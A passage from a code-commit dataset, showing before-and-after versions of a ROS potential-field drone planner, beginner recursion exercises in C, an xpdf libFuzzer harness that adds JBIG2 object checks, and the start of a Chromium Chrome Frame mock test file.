<math.h>\n#include <vector>\n\n#include \"dmath\/geometry.h\"\n\nclass ArtificialPotentialField{\npublic:\n ArtificialPotentialField(ros::NodeHandle &node) : \n base_link_(\"base_link\"),\n cmd_pub_(node.advertise<geometry_msgs::Twist>(\"cmd_vel\", 10)),\n obs_sub_(node.subscribe(\"octomap_full\", 10, &ArtificialPotentialField::obstacleCallback, this)),\n goal_sub_(node.subscribe(\"clicked_point\", 10, &ArtificialPotentialField::goalCallback, this))\n\n {\n collision_map_.header.stamp = ros::Time(0);\n }\n\n void spin(){\n ros::Rate r(10);\n \n ros::Duration(1).sleep();\n geometry_msgs::Twist cmd;\n cmd.linear.z = 0.15;\n cmd_pub_.publish(cmd);\n ros::Duration(3).sleep();\n \n cmd.linear.z = 0;\n cmd_pub_.publish(cmd);\n ros::Duration(3).sleep();\n \n const double force = 0.025;\n \n while(ros::ok()){\n if(collision_map_.header.stamp != ros::Time(0)){\n std::vector<dmath::Vector3D> obstacles_lc;\n std::string map_frame = collision_map_.header.frame_id;\n octomap::OcTree *tree = dynamic_cast<octomap::OcTree*>(octomap_msgs::msgToMap(collision_map_));\n octomap::OcTree::leaf_iterator const end_it = tree->end_leafs();\n for(octomap::OcTree::leaf_iterator it = tree->begin_leafs(0); it != end_it; it++){\n geometry_msgs::PointStamped p_in, p_out;\n p_in.header.frame_id = map_frame;\n p_in.point.x = it.getX();\n p_in.point.y = it.getY();\n p_in.point.z = it.getZ();\n \n try{\n tf_listener_.transformPoint(base_link_, p_in, p_out);\n dmath::Vector3D obs(p_out.point.x, p_out.point.y, p_out.point.z);\n if(magnitude(obs) < 2.0){\n obstacles_lc.push_back(obs);\n }\n }catch(tf::TransformException &ex){\n ROS_ERROR_STREAM(\"Exception trying to transform octomap: \" << ex.what());\n }\n }\n \n dmath::Vector3D Fs;\n for(int i=0; i < obstacles_lc.size(); i++){\n Fs += get_potential_force(obstacles_lc[i], 0, 0.3, 1.0, 1.0);\n }\n\n geometry_msgs::PointStamped goal_msg_lc;\n dmath::Vector3D goal_lc;\n try{\n tf_listener_.waitForTransform(goal_msg_gl_.header.frame_id, base_link_, ros::Time(0), ros::Duration(1));\n goal_msg_gl_.header.stamp = ros::Time(0);\n tf_listener_.transformPoint(base_link_, goal_msg_gl_, goal_msg_lc);\n goal_lc = -dmath::Vector3D(goal_msg_lc.point.x, goal_msg_lc.point.y, goal_msg_lc.point.z);\n }catch(tf::TransformException &ex){\n ROS_ERROR_STREAM(\"Exception trying to transform goal position: \" << ex.what());\n goal_lc = dmath::Vector3D();\n }\n \n Fs += get_potential_force(goal_lc, 100, 0, 1, 1);\n \n dmath::Vector3D vel = Fs * force;\n cmd.linear.x = vel.x;\n cmd.linear.y = vel.y;\n cmd.linear.z = vel.z;\n \n cmd_pub_.publish(cmd);\n }\n r.sleep();\n ros::spinOnce();\n }\n }\n\nprivate:\n dmath::Vector3D get_potential_force(const dmath::Vector3D &dest_lc, double A = 1, double B = 1, double n = 1, double m = 1){\n dmath::Vector3D u = dest_lc;\n u = normalize(u);\n\n const double d = magnitude(dest_lc);\n ROS_INFO_STREAM(\"dist = \" << d);\n double U = 0;\n if(fabs(d) > dmath::tol){\n U = -A\/pow(d, n) + B\/pow(d, m);\n }\n \n return U * u;\n }\n\n void obstacleCallback(const octomap_msgs::OctomapPtr &obs_msg){\n collision_map_ = *obs_msg;\n }\n\n void goalCallback(const geometry_msgs::PointStamped &goal_msg){\n goal_msg_gl_ = goal_msg;\n }\n \n octomap_msgs::Octomap collision_map_;\n ros::Publisher cmd_pub_;\n ros::Subscriber obs_sub_, goal_sub_;\n tf::TransformListener tf_listener_;\n std::string base_link_;\n geometry_msgs::PointStamped goal_msg_gl_;\n};\n\nint main(int argc, char *argv[]){\n ros::init(argc, argv, \"apf_planner\");\n \n ros::NodeHandle node;\n ArtificialPotentialField apf(node);\n apf.spin();\n \n return 0;\n}\n\n<commit_msg>Limit x-velocity<commit_after>#include <ros\/ros.h> \n#include <geometry_msgs\/Twist.h> \n#include <sensor_msgs\/PointCloud2.h>\n#include <sensor_msgs\/PointCloud.h>\n#include <sensor_msgs\/point_cloud_conversion.h>\n#include <tf\/transform_listener.h>\n#include <octomap\/octomap.h>\n#include <octomap\/OcTree.h>\n#include <octomap_msgs\/Octomap.h>\n#include <octomap_msgs\/conversions.h>\n#include <geometry_msgs\/PointStamped.h>\n\n#include <string>\n#include <math.h>\n#include <vector>\n\n#include \"dmath\/geometry.h\"\n\nclass ArtificialPotentialField{\npublic:\n ArtificialPotentialField(ros::NodeHandle &node) : \n base_link_(\"base_link\"),\n cmd_pub_(node.advertise<geometry_msgs::Twist>(\"cmd_vel\", 10)),\n obs_sub_(node.subscribe(\"octomap_full\", 10, &ArtificialPotentialField::obstacleCallback, this)),\n goal_sub_(node.subscribe(\"clicked_point\", 10, &ArtificialPotentialField::goalCallback, this))\n\n {\n collision_map_.header.stamp = ros::Time(0);\n }\n\n void spin(){\n ros::Rate r(10);\n \n ros::Duration(1).sleep();\n geometry_msgs::Twist cmd;\n cmd.linear.z = 0.15;\n cmd_pub_.publish(cmd);\n ros::Duration(3).sleep();\n \n cmd.linear.z = 0;\n cmd_pub_.publish(cmd);\n ros::Duration(3).sleep();\n \n const double force = 0.025;\n \n while(ros::ok()){\n if(collision_map_.header.stamp != ros::Time(0)){\n std::vector<dmath::Vector3D> obstacles_lc;\n std::string map_frame = collision_map_.header.frame_id;\n octomap::OcTree *tree = dynamic_cast<octomap::OcTree*>(octomap_msgs::msgToMap(collision_map_));\n octomap::OcTree::leaf_iterator const end_it = tree->end_leafs();\n for(octomap::OcTree::leaf_iterator it = tree->begin_leafs(0); it != end_it; it++){\n geometry_msgs::PointStamped p_in, p_out;\n p_in.header.frame_id = map_frame;\n p_in.point.x = it.getX();\n p_in.point.y = it.getY();\n p_in.point.z = it.getZ();\n \n try{\n tf_listener_.transformPoint(base_link_, p_in, p_out);\n dmath::Vector3D obs(p_out.point.x, p_out.point.y, p_out.point.z);\n if(magnitude(obs) < 2.0){\n obstacles_lc.push_back(obs);\n }\n }catch(tf::TransformException &ex){\n ROS_ERROR_STREAM(\"Exception trying to transform octomap: \" << ex.what());\n }\n }\n \n dmath::Vector3D Fs;\n for(int i=0; i < obstacles_lc.size(); i++){\n Fs += get_potential_force(obstacles_lc[i], 0, 0.3, 1.0, 1.0);\n }\n\n geometry_msgs::PointStamped goal_msg_lc;\n dmath::Vector3D goal_lc;\n try{\n tf_listener_.waitForTransform(goal_msg_gl_.header.frame_id, base_link_, ros::Time(0), ros::Duration(1));\n goal_msg_gl_.header.stamp = ros::Time(0);\n tf_listener_.transformPoint(base_link_, goal_msg_gl_, goal_msg_lc);\n goal_lc = -dmath::Vector3D(goal_msg_lc.point.x, goal_msg_lc.point.y, goal_msg_lc.point.z);\n }catch(tf::TransformException &ex){\n ROS_ERROR_STREAM(\"Exception trying to transform goal position: \" << ex.what());\n goal_lc = dmath::Vector3D();\n }\n \n Fs += get_potential_force(goal_lc, 100, 0, 1, 1);\n \n dmath::Vector3D vel = Fs * force;\n if(vel.x > 0.5) vel.x = 0.5;\n if(vel.x < -0.5) vel.x = -0.5;\n cmd.linear.x = vel.x;\n cmd.linear.y = vel.y;\n cmd.linear.z = vel.z;\n \n cmd_pub_.publish(cmd);\n }\n r.sleep();\n ros::spinOnce();\n }\n }\n\nprivate:\n dmath::Vector3D get_potential_force(const dmath::Vector3D &dest_lc, double A = 1, double B = 1, double n = 1, double m = 1){\n dmath::Vector3D u = dest_lc;\n u = normalize(u);\n\n const double d = magnitude(dest_lc);\n ROS_INFO_STREAM(\"dist = \" << d);\n double U = 0;\n if(fabs(d) > dmath::tol){\n U = -A\/pow(d, n) + B\/pow(d, m);\n }\n \n return U * u;\n }\n\n void obstacleCallback(const octomap_msgs::OctomapPtr &obs_msg){\n collision_map_ = *obs_msg;\n }\n\n void goalCallback(const geometry_msgs::PointStamped &goal_msg){\n goal_msg_gl_ = goal_msg;\n }\n \n octomap_msgs::Octomap collision_map_;\n ros::Publisher cmd_pub_;\n ros::Subscriber obs_sub_, goal_sub_;\n tf::TransformListener tf_listener_;\n std::string base_link_;\n geometry_msgs::PointStamped goal_msg_gl_;\n};\n\nint main(int argc, char *argv[]){\n ros::init(argc, argv, \"apf_planner\");\n \n ros::NodeHandle node;\n ArtificialPotentialField apf(node);\n apf.spin();\n \n return 0;\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include <ros\/ros.h> \n#include <geometry_msgs\/Twist.h> \n#include <sensor_msgs\/PointCloud2.h>\n#include <sensor_msgs\/PointCloud.h>\n#include <sensor_msgs\/point_cloud_conversion.h>\n#include <tf\/transform_listener.h>\n#include <octomap\/octomap.h>\n#include <octomap\/OcTree.h>\n#include <octomap_msgs\/Octomap.h>\n#include <octomap_msgs\/conversions.h>\n#include <geometry_msgs\/PointStamped.h>\n\n#include <string>\n#include <math.h>\n#include <vector>\n\n#include \"dmath\/geometry.h\"\n\nclass ArtificialPotentialField{\npublic:\n ArtificialPotentialField(ros::NodeHandle &node) : \n base_link_(\"base_link\"),\n cmd_pub_(node.advertise<geometry_msgs::Twist>(\"cmd_vel\", 10)),\n obs_sub_(node.subscribe(\"octomap_full\", 10, &ArtificialPotentialField::obstacleCallback, this)),\n goal_sub_(node.subscribe(\"clicked_point\", 10, &ArtificialPotentialField::goalCallback, this))\n\n {\n collision_map_.header.stamp = ros::Time(0);\n }\n\n void spin(){\n ros::Rate r(10);\n \n ros::Duration(1).sleep();\n geometry_msgs::Twist cmd;\n cmd.linear.z = 0.15;\n cmd_pub_.publish(cmd);\n ros::Duration(3).sleep();\n \n cmd.linear.z = 0;\n cmd_pub_.publish(cmd);\n ros::Duration(3).sleep();\n \n const double force = 0.025;\n \n while(ros::ok()){\n if(collision_map_.header.stamp != ros::Time(0)){\n std::vector<dmath::Vector3D> obstacles_lc;\n std::string map_frame = collision_map_.header.frame_id;\n octomap::OcTree *tree = dynamic_cast<octomap::OcTree*>(octomap_msgs::msgToMap(collision_map_));\n octomap::OcTree::leaf_iterator const end_it = tree->end_leafs();\n for(octomap::OcTree::leaf_iterator it = tree->begin_leafs(0); it != end_it; it++){\n geometry_msgs::PointStamped p_in, p_out;\n p_in.header.frame_id = map_frame;\n p_in.point.x = it.getX();\n p_in.point.y = it.getY();\n p_in.point.z = it.getZ();\n \n try{\n tf_listener_.transformPoint(base_link_, p_in, p_out);\n dmath::Vector3D obs(p_out.point.x, p_out.point.y, p_out.point.z);\n if(magnitude(obs) < 500){\n obstacles_lc.push_back(obs);\n }\n }catch(tf::TransformException &ex){\n ROS_ERROR_STREAM(\"Exception trying to transform octomap: \" << ex.what());\n }\n }\n \n dmath::Vector3D Fs;\n \/\/for(int i=0; i < obstacles_lc.size(); i++){\n \/\/ Fs += get_potential_force(obstacles_lc[i], 0, 1.0, 1.0, 1.5);\n \/\/}\n\n dmath::Vector3D g = goal_lc_;\n Fs += get_potential_force(g, 200, 0, 1.5, 1);\n \n dmath::Vector3D vel = Fs * force;\n cmd.linear.x = vel.y;\n cmd.linear.y = vel.x;\n cmd.linear.z = vel.z;\n \n cmd_pub_.publish(cmd);\n }\n r.sleep();\n ros::spinOnce();\n }\n }\n\nprivate:\n dmath::Vector3D get_potential_force(const dmath::Vector3D &dest_lc, double A = 1, double B = 1, double n = 1, double m = 1){\n dmath::Vector3D u = dest_lc;\n u = normalize(u);\n\n const double d = magnitude(dest_lc);\n double U = 0;\n if(fabs(d) > dmath::tol){\n U = -A\/pow(d, n) + B\/pow(d, m);\n }\n \n return U * u;\n }\n\n void obstacleCallback(const octomap_msgs::OctomapPtr &obs_msg){\n collision_map_ = *obs_msg;\n }\n\n void goalCallback(const geometry_msgs::PointStamped &goal_msg){\n geometry_msgs::PointStamped g_lc;\n try{\n tf_listener_.transformPoint(base_link_, goal_msg, g_lc);\n goal_lc_ = dmath::Vector3D(g_lc.point.x, g_lc.point.y, g_lc.point.z);\n }catch(tf::TransformException &ex){\n ROS_ERROR_STREAM(\"Exception trying to transform octomap: \" << ex.what());\n goal_lc_ = dmath::Vector3D();\n }\n }\n \n octomap_msgs::Octomap collision_map_;\n ros::Publisher cmd_pub_;\n ros::Subscriber obs_sub_, goal_sub_;\n tf::TransformListener tf_listener_;\n std::string base_link_;\n dmath::Vector3D goal_lc_;\n};\n\nint main(int argc, char *argv[]){\n ros::init(argc, argv, \"apf_planner\");\n \n ros::NodeHandle node;\n ArtificialPotentialField apf(node);\n apf.spin();\n \n return 0;\n}\n\n<commit_msg>Add debug code<commit_after>#include <ros\/ros.h> \n#include <geometry_msgs\/Twist.h> \n#include <sensor_msgs\/PointCloud2.h>\n#include <sensor_msgs\/PointCloud.h>\n#include <sensor_msgs\/point_cloud_conversion.h>\n#include <tf\/transform_listener.h>\n#include <octomap\/octomap.h>\n#include <octomap\/OcTree.h>\n#include <octomap_msgs\/Octomap.h>\n#include <octomap_msgs\/conversions.h>\n#include <geometry_msgs\/PointStamped.h>\n\n#include <string>\n#include <math.h>\n#include <vector>\n\n#include \"dmath\/geometry.h\"\n\nclass ArtificialPotentialField{\npublic:\n ArtificialPotentialField(ros::NodeHandle &node) : \n base_link_(\"base_link\"),\n cmd_pub_(node.advertise<geometry_msgs::Twist>(\"cmd_vel\", 10)),\n obs_sub_(node.subscribe(\"octomap_full\", 10, &ArtificialPotentialField::obstacleCallback, this)),\n goal_sub_(node.subscribe(\"clicked_point\", 10, &ArtificialPotentialField::goalCallback, this))\n\n {\n collision_map_.header.stamp = ros::Time(0);\n }\n\n void spin(){\n ros::Rate r(10);\n \n ros::Duration(1).sleep();\n geometry_msgs::Twist cmd;\n cmd.linear.z = 0.15;\n cmd_pub_.publish(cmd);\n ros::Duration(3).sleep();\n \n cmd.linear.z = 0;\n cmd_pub_.publish(cmd);\n ros::Duration(3).sleep();\n \n const double force = 0.025;\n \n while(ros::ok()){\n if(collision_map_.header.stamp != ros::Time(0)){\n std::vector<dmath::Vector3D> obstacles_lc;\n std::string map_frame = collision_map_.header.frame_id;\n octomap::OcTree *tree = dynamic_cast<octomap::OcTree*>(octomap_msgs::msgToMap(collision_map_));\n octomap::OcTree::leaf_iterator const end_it = tree->end_leafs();\n for(octomap::OcTree::leaf_iterator it = tree->begin_leafs(0); it != end_it; it++){\n geometry_msgs::PointStamped p_in, p_out;\n p_in.header.frame_id = map_frame;\n p_in.point.x = it.getX();\n p_in.point.y = it.getY();\n p_in.point.z = it.getZ();\n \n try{\n tf_listener_.transformPoint(base_link_, p_in, p_out);\n dmath::Vector3D obs(p_out.point.x, p_out.point.y, p_out.point.z);\n if(magnitude(obs) < 500){\n obstacles_lc.push_back(obs);\n }\n }catch(tf::TransformException &ex){\n ROS_ERROR_STREAM(\"Exception trying to transform octomap: \" << ex.what());\n }\n }\n \n dmath::Vector3D Fs;\n \/\/for(int i=0; i < obstacles_lc.size(); i++){\n \/\/ Fs += get_potential_force(obstacles_lc[i], 0, 1.0, 1.0, 1.5);\n \/\/}\n\n dmath::Vector3D g = goal_lc_;\n Fs += get_potential_force(g, 200, 0, 1.5, 1);\n \n dmath::Vector3D vel = Fs * force;\n cmd.linear.x = vel.x;\n \/\/cmd.linear.y = vel.x;\n \/\/cmd.linear.z = vel.z;\n \n cmd_pub_.publish(cmd);\n }\n r.sleep();\n ros::spinOnce();\n }\n }\n\nprivate:\n dmath::Vector3D get_potential_force(const dmath::Vector3D &dest_lc, double A = 1, double B = 1, double n = 1, double m = 1){\n dmath::Vector3D u = dest_lc;\n u = normalize(u);\n\n const double d = magnitude(dest_lc);\n double U = 0;\n if(fabs(d) > dmath::tol){\n U = -A\/pow(d, n) + B\/pow(d, m);\n }\n \n return U * u;\n }\n\n void obstacleCallback(const octomap_msgs::OctomapPtr &obs_msg){\n collision_map_ = *obs_msg;\n }\n\n void goalCallback(const geometry_msgs::PointStamped &goal_msg){\n geometry_msgs::PointStamped g_lc;\n try{\n tf_listener_.transformPoint(base_link_, goal_msg, g_lc);\n goal_lc_ = dmath::Vector3D(g_lc.point.x, g_lc.point.y, g_lc.point.z);\n }catch(tf::TransformException &ex){\n ROS_ERROR_STREAM(\"Exception trying to transform octomap: \" << ex.what());\n goal_lc_ = dmath::Vector3D();\n }\n }\n \n octomap_msgs::Octomap collision_map_;\n ros::Publisher cmd_pub_;\n ros::Subscriber obs_sub_, goal_sub_;\n tf::TransformListener tf_listener_;\n std::string base_link_;\n dmath::Vector3D goal_lc_;\n};\n\nint main(int argc, char *argv[]){\n ros::init(argc, argv, \"apf_planner\");\n \n ros::NodeHandle node;\n ArtificialPotentialField apf(node);\n apf.spin();\n \n return 0;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ recursion.cpp\n\/\/ DS\n\/\/\n\/\/ Created by Rahul Goel on 7\/26\/17.\n\/\/ Copyright © 2017 Rahul Goel. All rights reserved.\n\/\/\n\n#include \"recursion.hpp\"\n\n\/\/As Its not suggestable to return local variable outside the function So use this array in case you need to return Array or list of elements\nstatic int *arrayTmp;\n\nint recursion_SumOfNumbersFromList(int *arr, int size){\n if (size <= 0){\n return arr[size];\n }else{\n return arr[size] + recursion_SumOfNumbersFromList(arr,size - 1);\n }\n}\n\n\nint recursion_SumOfNNaturalNumbers(int upto){\n if (upto <= 0){\n return 0;\n }else{\n return upto + recursion_SumOfNNaturalNumbers(upto - 1);\n }\n}\n\n\nint recursion_numberOfChars( char *str){\n \n if (*str == '\\0'){\n return 0;\n }\n else{\n return 1 + recursion_numberOfChars(str + 1);\n }\n}\n\nvoid recursion_reverseOfString(char *str, int index){\n if (str[index] == '\\0'){\n return ;\n }else{\n recursion_reverseOfString(str, ++index);\n printf(\"%c\",str[index]);\n }\n}\n\nint recursion_power(int number, int power){\n if (power <= 0){\n return 1;\n }else{\n return number*recursion_power(number, power-1);\n }\n}\n\n\nint* recursion_getAllWordsFromSentence(char *str,char *ptr){\n \n \/\/In case sentence ends\n if (*str == '\\0'){\n return arrayTmp;\n }else{\n \n \/\/In case of Sapce\n if (*str == ' '){\n \n }\n return recursion_getAllWordsFromSentence(str + 1,ptr);\n }\n \n return arrayTmp;\n}\n<commit_msg>changes for recursion added<commit_after>\/\/\n\/\/ recursion.cpp\n\/\/ DS\n\/\/\n\/\/ Created by Rahul Goel on 7\/26\/17.\n\/\/ Copyright © 2017 Rahul Goel. All rights reserved.\n\/\/\n\n#include \"recursion.hpp\"\n\n\/\/As Its not suggestable to return local variable outside the function So use this array in case you need to return Array or list of elements\nstatic int *arrayTmp;\n\nint recursion_SumOfNumbersFromList(int *arr, int size){\n if (size <= 0){\n return arr[size];\n }else{\n return arr[size] + recursion_SumOfNumbersFromList(arr,size - 1);\n }\n}\n\n\nint recursion_SumOfNNaturalNumbers(int upto){\n if (upto <= 0){\n return 0;\n }else{\n return upto + recursion_SumOfNNaturalNumbers(upto - 1);\n }\n}\n\n\nint recursion_numberOfChars( char *str){\n \n if (*str == '\\0'){\n return 0;\n }\n else{\n return 1 + recursion_numberOfChars(str + 1);\n }\n}\n\nvoid recursion_reverseOfString(char *str, int index){\n if (str[index] == '\\0'){\n return ;\n }else{\n recursion_reverseOfString(str, ++index);\n printf(\"%c\",str[index]);\n }\n}\n\nint recursion_power(int number, int power){\n if (power <= 0){ \/\/In Case pow(number,0) = 1\n return 1;\n }else{\n return number*recursion_power(number, power-1);\n }\n}\n\n\nint* recursion_getAllWordsFromSentence(char *str,char *ptr){\n \n \/\/In case sentence ends\n if (*str == '\\0'){\n return arrayTmp;\n }else{\n \n \/\/In case of Space\n if (*str == ' '){\n \n }\n return recursion_getAllWordsFromSentence(str ,ptr+1);\n }\n \n return arrayTmp;\n}\n\nvoid reverseWordAndAddItToArray(char *str,int length){\n \n}\n\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright 2020 Google Inc.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n#include <fuzzer\/FuzzedDataProvider.h>\n\n#include <vector>\n#include <aconf.h>\n#include <stdio.h>\n#include <stdint.h>\n#include <stdlib.h>\n#include <stddef.h>\n#include <string.h>\n#include <png.h>\n\n#include \"gmem.h\"\n#include \"gmempp.h\"\n#include \"parseargs.h\"\n#include \"GString.h\"\n#include \"gfile.h\"\n#include \"GlobalParams.h\"\n#include \"Object.h\"\n#include \"PDFDoc.h\"\n#include \"SplashBitmap.h\"\n#include \"Splash.h\"\n#include \"SplashOutputDev.h\"\n#include \"Stream.h\"\n#include \"config.h\"\n#include \"JBIG2Stream.h\"\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size)\n{\n FuzzedDataProvider fdp (data, size);\n double hdpi = fdp.ConsumeFloatingPoint<double>();\n double vdpi = fdp.ConsumeFloatingPoint<double>();\n int rotate = fdp.ConsumeIntegral<int>();\n bool useMediaBox = fdp.ConsumeBool();\n bool crop = fdp.ConsumeBool();\n bool printing = fdp.ConsumeBool();\n std::vector<char> payload = fdp.ConsumeRemainingBytes<char>();\n\n Object xpdf_obj;\n xpdf_obj.initNull();\n BaseStream *stream = new MemStream(payload.data(), 0, payload.size(), &xpdf_obj);\n\n Object info, xfa;\n Object *acroForm;\n globalParams = new GlobalParams(NULL);\n globalParams->setErrQuiet(1);\n globalParams->setupBaseFonts(NULL);\n char yes[] = \"yes\";\n globalParams->setEnableFreeType(yes); \/\/ Yes, it's a string and not a bool.\n globalParams->setErrQuiet(1);\n\n PDFDoc *doc = NULL;\n try {\n PDFDoc doc(stream);\n if (doc.isOk() == gTrue)\n {\n doc.getNumPages();\n doc.getOutline();\n doc.getStructTreeRoot();\n doc.getXRef();\n doc.okToPrint(gTrue);\n doc.okToCopy(gTrue);\n doc.okToChange(gTrue);\n doc.okToAddNotes(gTrue);\n doc.isLinearized();\n doc.getPDFVersion();\n\n GString *metadata;\n if ((metadata = doc.readMetadata())) {\n (void)metadata->getCString();\n }\n delete metadata;\n\n Object info;\n doc.getDocInfo(&info);\n if (info.isDict()) {\n info.getDict();\n }\n info.free();\n\n if ((acroForm = doc.getCatalog()->getAcroForm())->isDict()) {\n acroForm->dictLookup(\"XFA\", &xfa);\n xfa.free();\n }\n\n for (size_t i = 0; i < doc.getNumPages(); i++) {\n doc.getLinks(i);\n auto page = doc.getCatalog()->getPage(i);\n if (!page->isOk()) {\n continue;\n }\n page->getResourceDict();\n page->getMetadata();\n page->getResourceDict();\n }\n\n SplashColor paperColor = {0xff, 0xff, 0xff};\n SplashOutputDev *splashOut = new SplashOutputDev(splashModeRGB8, 1, gFalse, paperColor);\n splashOut->setNoComposite(gTrue);\n splashOut->startDoc(doc.getXRef());\n for (size_t i = 0; i <= doc.getNumPages(); ++i) {\n doc.displayPage(splashOut, i, hdpi, vdpi, rotate, useMediaBox, crop, printing);\n }\n (void)splashOut->getBitmap();\n\n delete splashOut;\n\n Object globals;\n BaseStream *base_str = doc.getBaseStream();\n if (base_str) {\n JBIG2Stream *str = new JBIG2Stream(base_str, &globals);\n str->reset();\n delete str;\n }\n globals.free(); \n }\n } catch (...) {\n\n }\n\n delete globalParams;\n\n return 0;\n}\n\n<commit_msg>Fuzz JBIG2 code by checking on each object in PDF file (#7508)<commit_after>\/* Copyright 2020 Google Inc.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n#include <fuzzer\/FuzzedDataProvider.h>\n\n#include <vector>\n#include <aconf.h>\n#include <stdio.h>\n#include <stdint.h>\n#include <stdlib.h>\n#include <stddef.h>\n#include <string.h>\n#include <png.h>\n\n#include \"gmem.h\"\n#include \"gmempp.h\"\n#include \"parseargs.h\"\n#include \"GString.h\"\n#include \"gfile.h\"\n#include \"GlobalParams.h\"\n#include \"Object.h\"\n#include \"PDFDoc.h\"\n#include \"SplashBitmap.h\"\n#include \"Splash.h\"\n#include \"SplashOutputDev.h\"\n#include \"Stream.h\"\n#include \"config.h\"\n#include \"JBIG2Stream.h\"\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size)\n{\n FuzzedDataProvider fdp (data, size);\n double hdpi = fdp.ConsumeFloatingPoint<double>();\n double vdpi = fdp.ConsumeFloatingPoint<double>();\n int rotate = fdp.ConsumeIntegral<int>();\n bool useMediaBox = fdp.ConsumeBool();\n bool crop = fdp.ConsumeBool();\n bool printing = fdp.ConsumeBool();\n std::vector<char> payload = fdp.ConsumeRemainingBytes<char>();\n\n Object xpdf_obj;\n xpdf_obj.initNull();\n BaseStream *stream = new MemStream(payload.data(), 0, payload.size(), &xpdf_obj);\n\n Object info, xfa;\n Object *acroForm;\n globalParams = new GlobalParams(NULL);\n globalParams->setErrQuiet(1);\n globalParams->setupBaseFonts(NULL);\n char yes[] = \"yes\";\n globalParams->setEnableFreeType(yes); \/\/ Yes, it's a string and not a bool.\n globalParams->setErrQuiet(1);\n\n PDFDoc *doc = NULL;\n try {\n PDFDoc doc(stream);\n if (doc.isOk() == gTrue)\n {\n doc.getNumPages();\n doc.getOutline();\n doc.getStructTreeRoot();\n doc.getXRef();\n doc.okToPrint(gTrue);\n doc.okToCopy(gTrue);\n doc.okToChange(gTrue);\n doc.okToAddNotes(gTrue);\n doc.isLinearized();\n doc.getPDFVersion();\n\n GString *metadata;\n if ((metadata = doc.readMetadata())) {\n (void)metadata->getCString();\n }\n delete metadata;\n\n Object info;\n doc.getDocInfo(&info);\n if (info.isDict()) {\n info.getDict();\n }\n info.free();\n\n if ((acroForm = doc.getCatalog()->getAcroForm())->isDict()) {\n acroForm->dictLookup(\"XFA\", &xfa);\n xfa.free();\n }\n\n for (size_t i = 0; i < doc.getNumPages(); i++) {\n doc.getLinks(i);\n auto page = doc.getCatalog()->getPage(i);\n if (!page->isOk()) {\n continue;\n }\n page->getResourceDict();\n page->getMetadata();\n page->getResourceDict();\n }\n\n SplashColor paperColor = {0xff, 0xff, 0xff};\n SplashOutputDev *splashOut = new SplashOutputDev(splashModeRGB8, 1, gFalse, paperColor);\n splashOut->setNoComposite(gTrue);\n splashOut->startDoc(doc.getXRef());\n for (size_t i = 0; i <= doc.getNumPages(); ++i) {\n doc.displayPage(splashOut, i, hdpi, vdpi, rotate, useMediaBox, crop, printing);\n }\n (void)splashOut->getBitmap();\n\n delete splashOut;\n\n XRef *xref = doc.getXRef();\n int objNums = xref->getNumObjects();\n Object currentObj;\n for (int i = 0; i < objNums; ++i) {\n if (xref->fetch(i, 0, ¤tObj)->isStream()){\n currentObj.getStream()->reset();\n }\n }\n currentObj.free();\n }\n } catch (...) {\n\n }\n\n delete globalParams;\n\n return 0;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <string>\n\n#include \"base\/bind.h\"\n#include \"base\/bind_helpers.h\"\n#include \"base\/file_path.h\"\n#include \"base\/memory\/scoped_ptr.h\"\n#include \"base\/synchronization\/waitable_event.h\"\n#include \"chrome\/common\/automation_messages.h\"\n#include \"chrome_frame\/cfproxy_private.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n#include \"testing\/gmock\/include\/gmock\/gmock.h\"\n#include \"testing\/gmock_mutant.h\"\n\nusing testing::_;\nusing testing::DoAll;\nusing testing::NotNull;\nusing testing::Return;\nusing testing::StrictMock;\nusing testing::InvokeWithoutArgs;\nusing testing::WithoutArgs;\nusing testing::CreateFunctor;\nusing testing::StrEq;\nusing testing::Eq;\n\n\/\/ There is not much to test here since CFProxy is pretty dumb.\nstruct MockFactory : public ChromeProxyFactory {\n MOCK_METHOD0(CreateProxy, ChromeProxy*());\n};\n\nstruct MockChromeProxyDelegate : public ChromeProxyDelegate {\n MOCK_METHOD1(OnMessageReceived, bool(const IPC::Message& message));\n MOCK_METHOD1(Connected, void(ChromeProxy* proxy));\n MOCK_METHOD2(PeerLost, void(ChromeProxy*, enum DisconnectReason reason));\n MOCK_METHOD0(Disconnected, void());\n MOCK_METHOD0(tab_handle, int());\n\n MOCK_METHOD5(Completed_CreateTab, void(bool success, HWND chrome_wnd,\n HWND tab_window, int tab_handle, int session_id));\n MOCK_METHOD5(Completed_ConnectToTab, void(bool success, HWND chrome_window,\n HWND tab_window, int tab_handle, int session_id));\n MOCK_METHOD2(Completed_Navigate, void(bool success,\n enum AutomationMsg_NavigationResponseValues res));\n\n \/\/ Network requests from Chrome.\n MOCK_METHOD2(Network_Start, void(int request_id,\n const AutomationURLRequest& request_info));\n MOCK_METHOD2(Network_Read, void(int request_id, int bytes_to_read));\n MOCK_METHOD2(Network_End, void(int request_id,\n const net::URLRequestStatus& s));\n MOCK_METHOD1(Network_DownloadInHost, void(int request_id));\n MOCK_METHOD2(GetCookies, void(const GURL& url, int cookie_id));\n MOCK_METHOD2(SetCookie, void(const GURL& url, const std::string& cookie));\n\n \/\/ Navigation progress notifications.\n MOCK_METHOD2(NavigationStateChanged, void(int flags,\n const NavigationInfo& nav_info));\n MOCK_METHOD1(UpdateTargetUrl, void(const std::wstring& url));\n 